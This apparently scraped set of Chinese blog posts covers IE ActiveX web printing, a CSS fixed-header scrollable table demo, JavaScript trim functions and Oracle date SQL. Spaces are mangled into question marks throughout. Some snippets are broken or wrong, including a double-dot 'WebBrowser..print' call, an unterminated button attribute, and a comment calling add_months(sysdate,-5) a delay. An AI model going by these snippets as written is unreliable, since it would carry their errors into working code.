關于web打印的總結
方案一:
???????調用瀏覽器的打印函數利用瀏覽器的模版
???源程序代碼:
?????????
<
OBJECT?id
=
"
WebBrowser
"
?classid
=
"
CLSID:8856F961-340A-11D0-A96B-00C04FD705A2
"
?height
=
"
0
"
????????????????width
=
"
0
"
?VIEWASTEXT
>
????????????
</
OBJECT
>
?????說明:此代碼放在html?中?打印模版的指定框架為此代碼在的模塊;
??????調用程序:
??????
<
onclick
=
"
parent.main.focus();parent.main.WebBrowser.ExecWB(7,1);
"
調用瀏覽器的對象中的方法
<
2
>
?調用直接打印
??????
<
onclick
=
"
parent.main.focus();parent.main.WebBrowser..print?(7,1);
"
<
3
>
?當打印的時候不顯示時的css樣式
??????
<
style?media
=
"
print
"
>
.Noprint
{display:none;}
.PageNext
{page
-
break
-
after:?always;}
</
style
>
<
style
>
.TdCs1?
{?border:solid?windowtext?
1
.0pt;}
.TdCs2?
{?border:solid?windowtext?
1
.0pt;?border
-
left:none;}
.TdCs3?
{border
-
top:none;border
-
left:solid?windowtext?
1
.0pt;?border
-
bottom:solid?windowtext?
1
.0pt;?border
-
right:solid?windowtext?
1
.0pt;}
.TdCs4?
{border
-
top:none;??border
-
left:none;border
-
bottom:solid?windowtext?
1
.0pt;border
-
right:solid?windowtext?
1
.0pt;}
.underline?

{border
-
top
-
style:?none;border
-
right
-
style:?none;?border
-
bottom
-
style:?solid;?border
-
left
-
style:?none;border
-
bottom
-
color:?#
000000
;}
????????
</
style
>
????
<
4
>
?其余的設置
???
<
input?type
=
"
button
"
?value
=
"
打印
"
?onclick
=
"
document.all.WebBrowser.ExecWB(6,1)
"
class
=
"
NOPRINT
"
>
<
input?type
=
"
button
"
?value
=
"
直接打onclick=
"
document.all.WebBrowser.ExecWB(
6
,
6
)
"
?class=
"
NOPRINT
"
>
<
input?type
=
"
button
"
?value
=
"
頁面設置
"
?onclick
=
"
document.all.WebBrowser.ExecWB(8,1)
"
?
class
=
"
NOPRINT
"
>
<
input?type
=
"
button
"
?value
=
"
打印預覽
"
?onclick
=
"
document.all.WebBrowser.ExecWB(7,1)
"
?
class
=
"
NOPRINT
"
>
<html>
<head>
<title>看看</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<!--media=print 這個屬性可以在打印時有效-->
<style media=print>
.Noprint{display:none;}
.PageNext{page-break-after: always;}
</style>
<style>
.tdp
{
border-bottom: 1 solid #000000;
border-left: 1 solid #000000;
border-right: 0 solid #ffffff;
border-top: 0 solid #ffffff;
}
.tabp
{
border-color: #000000 #000000 #000000 #000000;
border-style: solid;
border-top-width: 2px;
border-right-width: 2px;
border-bottom-width: 1px;
border-left-width: 1px;
}
.NOPRINT {
font-family: "宋體";
font-size: 9pt;
}
</style>
</head>
<body >
<center class="Noprint" >
<p>
<OBJECT id=WebBrowser classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 width=0>
</OBJECT>
<input type=button value=打印 onclick=document.all.WebBrowser.ExecWB(6,1)>
<input type=button value=直接打印 onclick=document.all.WebBrowser.ExecWB(6,6)>
<input type=button value=頁面設置 onclick=document.all.WebBrowser.ExecWB(8,1)>
</p>
<p> <input type=button value=打印預覽 onclick=document.all.WebBrowser.ExecWB(7,1)>
<br/>
</p>
<hr align="center" width="90%" size="1" noshade>
</center>
<table width="90%" border="0" align="center" cellpadding="2" cellspacing="0" class="tabp">
<tr>
<td colspan="3" class="tdp">第1頁</td>
</tr>
<tr>
<td width="29%" class="tdp"> </td>
<td width="28%" class="tdp"> </td>
<td width="43%" class="tdp"> </td>
</tr>
<tr>
<td colspan="3" class="tdp"> </td>
</tr>
<tr>
<td colspan="3" class="tdp"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="50%" class="tdp"><p>這樣的報表</p>
<p>對一般的要求就夠了。</p></td>
<td> </td>
</tr>
</table></td>
</tr>
</table>
<hr align="center" width="90%" size="1" noshade class="NOPRINT" >
<!--分頁-->
<div class="PageNext"></div>
<table width="90%" border="0" align="center" cellpadding="2" cellspacing="0" class="tabp">
<tr>
<td class="tdp">第2頁</td>
</tr>
<tr>
<td class="tdp">看到分頁了吧</td>
</tr>
<tr>
<td class="tdp"> </td>
</tr>
<tr>
<td class="tdp"> </td>
</tr>
<tr>
<td class="tdp"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="50%" class="tdp"><p>這樣的報表</p>
<p>對一般的要求就夠了。</p></td>
<td> </td>
</tr>
</table></td>
</tr>
</table>
</body>
</html>
?
posted @
2006-10-20 14:26 一縷青煙 閱讀(907) |
評論 (1) |
編輯 收藏
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "<html xmlns="<title>Pure CSS Scrollable Table with Fixed Header</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta http-equiv="language" content="en-us" />
<script type="text/javascript">
<!--
/* http://www.alistapart.com/articles/zebratables/ */
function removeClassName (elem, className) {
?elem.className = elem.className.replace(className, "").trim();
}
function addCSSClass (elem, className) {
?removeClassName (elem, className);
?elem.className = (elem.className + " " + className).trim();
}
String.prototype.trim = function() {
?return this.replace( /^\s+|\s+$/, "" );
}
function stripedTable() {
?if (document.getElementById && document.getElementsByTagName) {?
??var allTables = document.getElementsByTagName('table');
??if (!allTables) { return; }
??for (var i = 0; i < allTables.length; i++) {
???if (allTables[i].className.match(/[\w\s ]*scrollTable[\w\s ]*/)) {
????var trs = allTables[i].getElementsByTagName("tr");
????for (var j = 0; j < trs.length; j++) {
?????removeClassName(trs[j], 'alternateRow');
?????addCSSClass(trs[j], 'normalRow');
????}
????for (var k = 0; k < trs.length; k += 2) {
?????removeClassName(trs[k], 'normalRow');
?????addCSSClass(trs[k], 'alternateRow');
????}
???}
??}
?}
}
/* onload state is fired, append onclick action to the table's DIV */
/* container. This allows the HTML document to validate correctly. */
/* addIEonScroll added on 2005-01-28?????????????????????????????? */
/* Terence Ordona, portal[AT]imaputz[DOT]com?????????????????????? */
function addIEonScroll() {
?var thisContainer = document.getElementById('tableContainer');
?if (!thisContainer) { return; }
?var onClickAction = 'toggleSelectBoxes();';
?thisContainer.onscroll = new Function(onClickAction);
}
/* Only WinIE will fire this function. All other browsers scroll the TBODY element and not the DIV */
/* This is to hide the SELECT elements from scrolling over the fixed Header. WinIE only.?????????? */
/* toggleSelectBoxes added on 2005-01-28 */
/* Terence Ordona, portal[AT]imaputz[DOT]com???????? */
function toggleSelectBoxes() {
?var thisContainer = document.getElementById('tableContainer');
?var thisHeader = document.getElementById('fixedHeader');
?if (!thisContainer || !thisHeader) { return; }
?var selectBoxes = thisContainer.getElementsByTagName('select');
?if (!selectBoxes) { return; }
?for (var i = 0; i < selectBoxes.length; i++) {
??if (thisContainer.scrollTop >= eval(selectBoxes[i].parentNode.offsetTop - thisHeader.offsetHeight)) {
???selectBoxes[i].style.visibility = 'hidden';
??} else {
???selectBoxes[i].style.visibility = 'visible';
??}
?}
}
window.onload = function() { stripedTable(); addIEonScroll(); }
-->
</script>
<style type="text/css">
<!--
/* Terence Ordona, portal[AT]imaputz[DOT]com???????? */
/* http://creativecommons.org/licenses/by-sa/2.0/??? */
/* begin some basic styling here???????????????????? */
body {
?background: #FFF;
?color: #000;
?font: normal normal 12px Verdana, Geneva, Arial, Helvetica, sans-serif;
?margin: 10px;
?padding: 0
}
table, td, a {
?color: #000;
?font: normal normal 12px Verdana, Geneva, Arial, Helvetica, sans-serif
}
h1 {
?font: normal normal 18px Verdana, Geneva, Arial, Helvetica, sans-serif;
?margin: 0 0 5px 0
}
h2 {
?font: normal normal 16px Verdana, Geneva, Arial, Helvetica, sans-serif;
?margin: 0 0 5px 0
}
h3 {
?font: normal normal 13px Verdana, Geneva, Arial, Helvetica, sans-serif;
?color: #008000;
?margin: 0 0 15px 0
}
/* end basic styling???????????????????????????????? */
/* define height and width of scrollable area. Add 16px to width for scrollbar????????? */
/* allow WinIE to scale 100% width of browser by not defining a width?????????????????? */
/* WARNING: applying a background here may cause problems with scrolling in WinIE 5.x?? */
div.tableContainer {
?clear: both;
?border: 1px solid #963;
?height: 285px;
?overflow: auto;
?width: 756px;
}
/* WinIE 6.x needs to re-account for it's scrollbar. Give it some padding */
\html div.tableContainer/* */ {
?padding: 0 16px 0 0;
?width: 740px;
}
/* clean up for allowing display Opera 5.x/6.x and MacIE 5.x */
html>body div.tableContainer {
?height: auto;
?padding: 0;
}
/* Reset overflow value to hidden for all non-IE browsers. */
/* Filter out Opera 5.x/6.x and MacIE 5.x????????????????? */
head:first-child+body div[class].tableContainer {
?height: 285px;
?overflow: hidden;
?width: 756px
}
/* define width of table. IE browsers only???????????????? */
/* if width is set to 100%, you can remove the width?????? */
/* property from div.tableContainer and have the div scale */
div.tableContainer table {
?float: left;
?width: 100%
}
/* WinIE 6.x needs to re-account for padding. Give it a negative margin */
\html div.tableContainer table/* */ {
?margin: 0 -16px 0 0
}
/* define width of table. Opera 5.x/6.x and MacIE 5.x */
html>body div.tableContainer table {
?float: none;
?margin: 0;
?width: 740px
}
/* define width of table. Add 16px to width for scrollbar.?????????? */
/* All other non-IE browsers. Filter out Opera 5.x/6.x and MacIE 5.x */
head:first-child+body div[class].tableContainer table {
?width: 756px
}
/* set table header to a fixed position. WinIE 6.x only?????????????????????????????????????? */
/* In WinIE 6.x, any element with a position property set to relative and is a child of?????? */
/* an element that has an overflow property set, the relative value translates into fixed.??? */
/* Ex: parent element DIV with a class of tableContainer has an overflow property set to auto */
thead.fixedHeader tr {
?position: relative;
?/* expression is for WinIE 5.x only. Remove to validate and for pure CSS solution????? */
?top: expression(document.getElementById("tableContainer").scrollTop);
}
/* set THEAD element to have block level attributes. All other non-IE browsers??????????? */
/* this enables overflow to work on TBODY element. All other non-IE, non-Mozilla browsers */
/* Filter out Opera 5.x/6.x and MacIE 5.x???????????????????????????????????????????????? */
head:first-child+body thead[class].fixedHeader tr {
?display: block;
}
/* make the TH elements pretty */
thead.fixedHeader th {
?background: #C96;
?border-left: 1px solid #EB8;
?border-right: 1px solid #B74;
?border-top: 1px solid #EB8;
?font-weight: normal;
?padding: 4px 3px;
?text-align: left
}
/* make the A elements pretty. makes for nice clickable headers??????????????? */
thead.fixedHeader a, thead.fixedHeader a:link, thead.fixedHeader a:visited {
?color: #FFF;
?display: block;
?text-decoration: none;
?width: 100%
}
/* make the A elements pretty. makes for nice clickable headers??????????????? */
/* WARNING: swapping the background on hover may cause problems in WinIE 6.x?? */
thead.fixedHeader a:hover {
?color: #FFF;
?display: block;
?text-decoration: underline;
?width: 100%
}
/* define the table content to be scrollable????????????????????????????????????????????? */
/* set TBODY element to have block level attributes. All other non-IE browsers??????????? */
/* this enables overflow to work on TBODY element. All other non-IE, non-Mozilla browsers */
/* induced side effect is that child TDs no longer accept width: auto???????????????????? */
/* Filter out Opera 5.x/6.x and MacIE 5.x???????????????????????????????????????????????? */
head:first-child+body tbody[class].scrollContent {
?display: block;
?height: 262px;
?overflow: auto;
?width: 100%
}
/* make TD elements pretty. Provide alternating classes for striping the table */
/* http://www.alistapart.com/articles/zebratables/???????????????????????????? */
tbody.scrollContent td, tbody.scrollContent tr.normalRow td {
?background: #FFF;
?border-bottom: none;
?border-left: none;
?border-right: 1px solid #CCC;
?border-top: 1px solid #DDD;
?padding: 2px 3px 3px 4px
}
tbody.scrollContent tr.alternateRow td {
?background: #EEE;
?border-bottom: none;
?border-left: none;
?border-right: 1px solid #CCC;
?border-top: 1px solid #DDD;
?padding: 2px 3px 3px 4px
}
/* define width of TH elements: 1st, 2nd, and 3rd respectively.????? */
/* All other non-IE browsers. Filter out Opera 5.x/6.x and MacIE 5.x */
/* Add 16px to last TH for scrollbar padding???????????????????????? */
/* http://www.w3.org/TR/REC-CSS2/selector.html#adjacent-selectors??? */
head:first-child+body thead[class].fixedHeader th {
?width: 200px
}
head:first-child+body thead[class].fixedHeader th + th {
?width: 240px
}
head:first-child+body thead[class].fixedHeader th + th + th {
?border-right: none;
?padding: 4px 4px 4px 3px;
?width: 316px
}
/* define width of TH elements: 1st, 2nd, and 3rd respectively.????? */
/* All other non-IE browsers. Filter out Opera 5.x/6.x and MacIE 5.x */
/* Add 16px to last TH for scrollbar padding???????????????????????? */
/* http://www.w3.org/TR/REC-CSS2/selector.html#adjacent-selectors??? */
head:first-child+body tbody[class].scrollContent td {
?width: 200px
}
head:first-child+body tbody[class].scrollContent td + td {
?width: 240px
}
head:first-child+body tbody[class].scrollContent td + td + td {
?border-right: none;
?padding: 2px 4px 2px 3px;
?width: 300px
}
-->
</style>
</head><body>
<h1>(Almost) Pure CSS Scrollable Table with Fixed Header</h1>
<h2>Using CSS to allow scrolling within a single HTML table</h2>
<div><br/></div>
<h2>The Bullet Resistant Version</h2>
<h3>Lots of CSS Browser Filtering</h3>
<form id="sampleForm" action="bulletVersion.html" method="post">
<div id="tableContainer" class="tableContainer">
<table border="0" cellpadding="0" cellspacing="0" width="100%" class="scrollTable">
<thead class="fixedHeader" id="fixedHeader">
?<tr>
??<th><a href="#">Header 1</a></th>
??<th><a href="#">Header 2</a></th>
??<th><a href="#">Header 3</a></th>
?</tr>
</thead>
<tbody class="scrollContent">
?<tr>
??<td>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nulla vitae wisi. Nulla euismod aliquet tellus.</td>
??<td>In sit amet enim. Praesent vulputate tortor nec ante. Morbi sollicitudin est non neque.</td>
??<td>Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos hymenaeos.</td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td><select name="sampleSelect1" id="sampleSelect1"><option>Option 1</option><option>Option 2</option><option>Option 3</option><option>Option 4</option><option>Option 5</option></select></td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td><select name="sampleSelect2" id="sampleSelect2" size="5" multiple="multiple"><option>Option 1</option><option>Option 2</option><option>Option 3</option><option>Option 4</option><option>Option 5</option></select></td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td><input type="text" name="sampleText" id="sampleText" value="This is a sample Text form element" /></td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td><input type="password" name="samplePassword" id="samplePassword" value="password" /></td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td><input type="submit" name="sampleSubmit" id="sampleSubmit" value="Sample Submit Button" /></td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td><input type="reset" name="sampleReset" id="sampleReset" value="Sample Reset Button" /></td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td><input type="button" name="sampleButton" id="sampleButton" value="Sample Button Element" /></td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td><input type="checkbox" name="sampleCheckbox" id="sampleCheckboxA" value="sampleCheckboxA" /> <label for="sampleCheckboxA">Sample Checkbox A</label></td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td><input type="checkbox" name="sampleCheckbox" id="sampleCheckboxB" value="sampleCheckboxB" /> <label for="sampleCheckboxB">Sample Checkbox B</label></td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td><input type="radio" name="sampleRadio" id="sampleRadioA" value="sampleRadioA" /> <label for="sampleRadioA">Sample Radio A</label></td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td><input type="radio" name="sampleRadio" id="sampleRadioB" value="sampleRadioB" /> <label for="sampleRadioB">Sample Radio B</label></td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td><select name="sampleSelect3" id="sampleSelect3"><option>Option 1</option><option>Option 2</option><option>Option 3</option><option>Option 4</option><option>Option 5</option></select></td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td><select name="sampleSelect4" id="sampleSelect4" size="5" multiple="multiple"><option>Option 1</option><option>Option 2</option><option>Option 3</option><option>Option 4</option><option>Option 5</option></select></td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td><textarea cols="20" rows="5" name="sampleTextarea" id="sampleTextarea">Cell Content 3</textarea></td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td>More Cell Content 3</td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td>Even More Cell Content 3</td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td>And Repeat 3</td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td><select name="sampleSelect5" id="sampleSelect5"><option>Option 1</option><option>Option 2</option><option>Option 3</option><option>Option 4</option><option>Option 5</option></select></td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td><select name="sampleSelect6" id="sampleSelect6"><option>Option 1</option><option>Option 2</option><option>Option 3</option><option>Option 4</option><option>Option 5</option></select></td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td>Even More Cell Content 3</td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td>And Repeat 3</td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td>Cell Content 3</td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td>More Cell Content 3</td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td>Even More Cell Content 3</td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td>And Repeat 3</td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td>Cell Content 3</td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td>More Cell Content 3</td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td>Even More Cell Content 3</td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td>And Repeat 3</td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td>Cell Content 3</td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td>More Cell Content 3</td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td>Even More Cell Content 3</td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td>And Repeat 3</td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td>Cell Content 3</td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td>More Cell Content 3</td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td>Even More Cell Content 3</td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td>And Repeat 3</td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td>Cell Content 3</td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td>More Cell Content 3</td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td>Even More Cell Content 3</td>
?</tr>
?<tr>
??<td>And Repeat 1</td>
??<td>And Repeat 2</td>
??<td>And Repeat 3</td>
?</tr>
?<tr>
??<td>Cell Content 1</td>
??<td>Cell Content 2</td>
??<td>Cell Content 3</td>
?</tr>
?<tr>
??<td>More Cell Content 1</td>
??<td>More Cell Content 2</td>
??<td>More Cell Content 3</td>
?</tr>
?<tr>
??<td>Even More Cell Content 1</td>
??<td>Even More Cell Content 2</td>
??<td>Even More Cell Content 3</td>
?</tr>
?<tr>
??<td>End of Cell Content 1</td>
??<td>End of Cell Content 2</td>
??<td>End of Cell Content 3</td>
?</tr>
</tbody>
</table>
</div>
</form>
<div>
?<p>Also see the <a href=" Big Four Version</a> :: Support for current generation of the four major Browsers</p>
?<h3>Browser Support (table is scrollable with fixed headers)</h3>
?<ul>
??<li>Opera 7.x + (All Platforms) :: Tested with 7.2x and 7.5x</li>
??<li>Mozilla 1.x + (All Platforms) :: Tested with 1.0x and 1.6x</li>
??<li>IE 6.x + (Windows) :: Tested with 6.0x</li>
??<li>IE 5.x + (Windows) :: Tested with 5.0x and 5.5x</li>
??<li>Safari 1.x + (MacOS) :: Tested with 1.2x</li>
??<li>Konqueror 3.x + (Linux / BSD) :: Tested with 3.2x</li>
?</ul>
?<h3>Almost works (table is viewable)</h3>
?<ul>
??<li>IE 5.x + (MacOS) :: Tested with 5.2x</li>
??<li>Opera 5.x and 6.x :: Tested with 5.1x and 6.x</li>
?</ul>
?<h3>Degrades gracefully</h3>
?<ul>
??<li>All other non-supporting browsers</li>
?</ul>
?<h3>Notes:</h3>
?<ul>
??<li>Opera v5 to v7 adds margins to the THEAD and TBODY and their children</li>
??<li>On Konqueror 3.x the scrollbar may be slightly off.</li>
??<li>On Konqueror 3.x form elements may not hide correctly.</li>
??<li>On MacIE 5.x the last table header cell may obscure the up arrow of the scrollbar.</li>
??<li>Gecko/20041217 may have table cell alignment issues (bug?), Prior versions (eg: Gecko/20040113) do not have this</li>
?</ul>
?<h3>Updates:</h3>
?<ul>
??<li>2004.10.15 11am: Added link to Big Four Version</li>
??<li>2004.11.02 01pm: Fixed incorrect width on 2nd Cell. Was 250px, should be 240px.</li>
??<li>2005.01.28 07pm: Added form elements to aid in testing scrolling abilities</li>
??<li>2005.01.28 08pm: Added JS IE Select element workaround.</li>
?</ul>
</div>
<div>
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
put a bunch of breaks to test scrolling within the HTML document itself.
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
put a bunch of breaks to test scrolling within the HTML document itself.
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
put a bunch of breaks to test scrolling within the HTML document itself.
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
done.
</div>
</body></html>
posted @
2006-10-20 10:05 一縷青煙 閱讀(296) |
評論 (0) |
編輯 收藏
http://www.imaputz.com/cssStuff/bulletVersion.html
posted @
2006-10-20 09:47 一縷青煙 閱讀(254) |
評論 (0) |
編輯 收藏
??????????????????????????????????????
方法一:
String.prototype.trim= function()?
{?
??? // 用正則表達式將前后空格?
??? // 用空字符串替代。?
??? return this.replace(/(^\s*)|(\s*$)/g, "");?
}
方法二:
function??trim(str)
{
??? for(var??i??=??0??;??i<str.length??&&??str.charAt(i)=="??"??;??i++??)??;
??? for(var??j??=str.length;??j>0??&&??str.charAt(j-1)=="??"??;??j--)??;
??? if(i>j)??return??"";??
??? return??str.substring(i,j);??
}
posted @
2006-10-19 09:12 一縷青煙 閱讀(133) |
評論 (0) |
編輯 收藏
Oracle時間日期操作
sysdate+(5/24/60/60) 在系統時間基礎上延遲5秒 sysdate+5/24/60 在系統時間基礎上延遲5分鐘 sysdate+5/24 在系統時間基礎上延遲5小時 sysdate+5 在系統時間基礎上延遲5天 add_months(sysdate,-5) 在系統時間基礎上延遲5月 add_months(sysdate,-5*12) 在系統時間基礎上延遲5年
上月末的日期:select last_day(add_months(sysdate, -1)) from dual; 本月的最后一秒:select trunc(add_months(sysdate,1),'MM') - 1/24/60/60 from dual 本周星期一的日期:select trunc(sysdate,'day')+1 from dual
年初至今的天數:select ceil(sysdate - trunc(sysdate, 'year')) from dual;
今天是今年的第幾周 :select to_char(sysdate,'fmww') from dual 今天是本月的第幾周:SELECT TO_CHAR(SYSDATE,'WW') - TO_CHAR(TRUNC(SYSDATE,'MM'),'WW') + 1 AS "weekOfMon" FROM dual
本月的天數 SELECT to_char(last_day(SYSDATE),'dd') days FROM dual 今年的天數 select add_months(trunc(sysdate,'year'), 12) - trunc(sysdate,'year') from dual 下個星期一的日期 SELECT Next_day(SYSDATE,'monday') FROM dual
============================================
--計算工作日方法
create table t(s date,e date); alter session set nls_date_format = 'yyyy-mm-dd'; insert into t values('2003-03-01','2003-03-03'); insert into t values('2003-03-02','2003-03-03'); insert into t values('2003-03-07','2003-03-08'); insert into t values('2003-03-07','2003-03-09'); insert into t values('2003-03-05','2003-03-07'); insert into t values('2003-02-01','2003-03-31');
-- 這里假定日期都是不帶時間的,否則在所有日期前加trunc即可。 select s,e,e-s+1 total_days, trunc((e-s+1)/7)*5 + length(replace(substr('01111100111110',to_char(s,'d'),mod(e-s+1,7)),'0','')) work_days from t;
-- drop table t;
引此:http://www.itpub.net/showthread.php?s=1635506cd5f48b1bc3adbe4cde96f227&threadid=104060&perpage=15&pagenumber=1
================================================================================
判斷當前時間是上午下午還是晚上
SELECT CASE WHEN to_number(to_char(SYSDATE,'hh24')) BETWEEN 6 AND 11 THEN '上午' WHEN to_number(to_char(SYSDATE,'hh24')) BETWEEN 11 AND 17 THEN '下午' WHEN to_number(to_char(SYSDATE,'hh24')) BETWEEN 17 AND 21 THEN '晚上' END FROM dual;
================================================================================
Oracle 中的一些處理日期
將數字轉換為任意時間格式.如秒:需要轉換為天/小時 SELECT to_char(floor(TRUNC(936000/(60*60))/24))||'天'||to_char(mod(TRUNC(936000/(60*60)),24))||'小時'??FROM DUAL
TO_DATE格式? ?? ? Day:? ?? ? dd??number??12? ?? ? dy??abbreviated??fri? ?? ? day??spelled??out??friday? ?? ? ddspth??spelled??out,??ordinal??twelfth? ?? ? Month:? ?? ? mm??number??03? ?? ? mon??abbreviated??mar? ?? ? month??spelled??out??march? ?? ? Year:? ?? ? yy??two??digits??98? ?? ? yyyy??four??digits??1998? ?? ?
24小時格式下時間范圍為:??0:00:00??-??23:59:59....? ?? ? 12小時格式下時間范圍為:??1:00:00??-??12:59:59??....? ?? ? 1.? ?? ? 日期和字符轉換函數用法(to_date,to_char)? ?? ?
2.? ?? ? select??to_char(??to_date(222,'J'),'Jsp')??from??dual? ?? ?
顯示Two??Hundred??Twenty-Two? ?? ?
3.? ?? ? 求某天是星期幾? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day')??from??dual;? ?? ? 星期一? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE??=??American')??from??dual;? ?? ? monday? ?? ? 設置日期語言? ?? ? ALTER??SESSION??SET??NLS_DATE_LANGUAGE='AMERICAN';? ?? ? 也可以這樣? ?? ? TO_DATE??('2002-08-26',??'YYYY-mm-dd',??'NLS_DATE_LANGUAGE??=??American')? ?? ?
4.? ?? ? 兩個日期間的天數? ?? ? select??floor(sysdate??-??to_date('20020405','yyyymmdd'))??from??dual;? ?? ?
5.??時間為null的用法? ?? ? select??id,??active_date??from??table1? ?? ? UNION? ?? ? select??1,??TO_DATE(null)??from??dual;? ?? ?
注意要用TO_DATE(null)? ?? ?
6.? ?? ? a_date??between??to_date('20011201','yyyymmdd')??and??to_date('20011231','yyyymmdd')? ?? ? 那么12月31號中午12點之后和12月1號的12點之前是不包含在這個范圍之內的。? ?? ? 所以,當時間需要精確的時候,覺得to_char還是必要的? ?? ? 7.??日期格式沖突問題? ?? ? 輸入的格式要看你安裝的ORACLE字符集的類型,??比如:??US7ASCII,??date格式的類型就是:??'01-Jan-01'? ?? ? alter??system??set??NLS_DATE_LANGUAGE??=??American? ?? ? alter??session??set??NLS_DATE_LANGUAGE??=??American? ?? ? 或者在to_date中寫? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE??=??American')??from??dual;? ?? ? 注意我這只是舉了NLS_DATE_LANGUAGE,當然還有很多,? ?? ? 可查看? ?? ? select??*??from??nls_session_parameters? ?? ? select??*??from??V$NLS_PARAMETERS? ?? ?
8.? ?? ? select??count(*)? ?? ? from??(??select??rownum-1??rnum? ?? ? from??all_objects? ?? ? where??rownum??<=??to_date('2002-02-28','yyyy-mm-dd')??-??to_date('2002-? ?? ? 02-01','yyyy-mm-dd')+1? ?? ? )? ?? ? where??to_char(??to_date('2002-02-01','yyyy-mm-dd')+rnum-1,??'D'??)? ?? ? not? ?? ? in??(??'1',??'7'??)? ?? ?
查找2002-02-28至2002-02-01間除星期一和七的天數? ?? ? 在前后分別調用DBMS_UTILITY.GET_TIME,??讓后將結果相減(得到的是1/100秒,??而不是毫秒).? ?? ?
9.? ?? ? select??months_between(to_date('01-31-1999','MM-DD-YYYY'),? ?? ? to_date('12-31-1998','MM-DD-YYYY'))??"MONTHS"??FROM??DUAL;? ?? ? 1? ?? ?
select??months_between(to_date('02-01-1999','MM-DD-YYYY'),? ?? ? to_date('12-31-1998','MM-DD-YYYY'))??"MONTHS"??FROM??DUAL;? ?? ?
1.03225806451613? ?? ? 10.??Next_day的用法? ?? ? Next_day(date,??day)? ?? ?
Monday-Sunday,??for??format??code??DAY? ?? ? Mon-Sun,??for??format??code??DY? ?? ? 1-7,??for??format??code??D? ?? ?
11? ?? ? select??to_char(sysdate,'hh:mi:ss')??TIME??from??all_objects? ?? ? 注意:第一條記錄的TIME??與最后一行是一樣的? ?? ? 可以建立一個函數來處理這個問題? ?? ? create??or??replace??function??sys_date??return??date??is? ?? ? begin? ?? ? return??sysdate;? ?? ? end;? ?? ?
